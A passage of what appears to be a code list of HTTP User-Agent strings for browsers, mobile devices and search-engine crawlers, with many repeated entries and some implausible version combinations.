'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
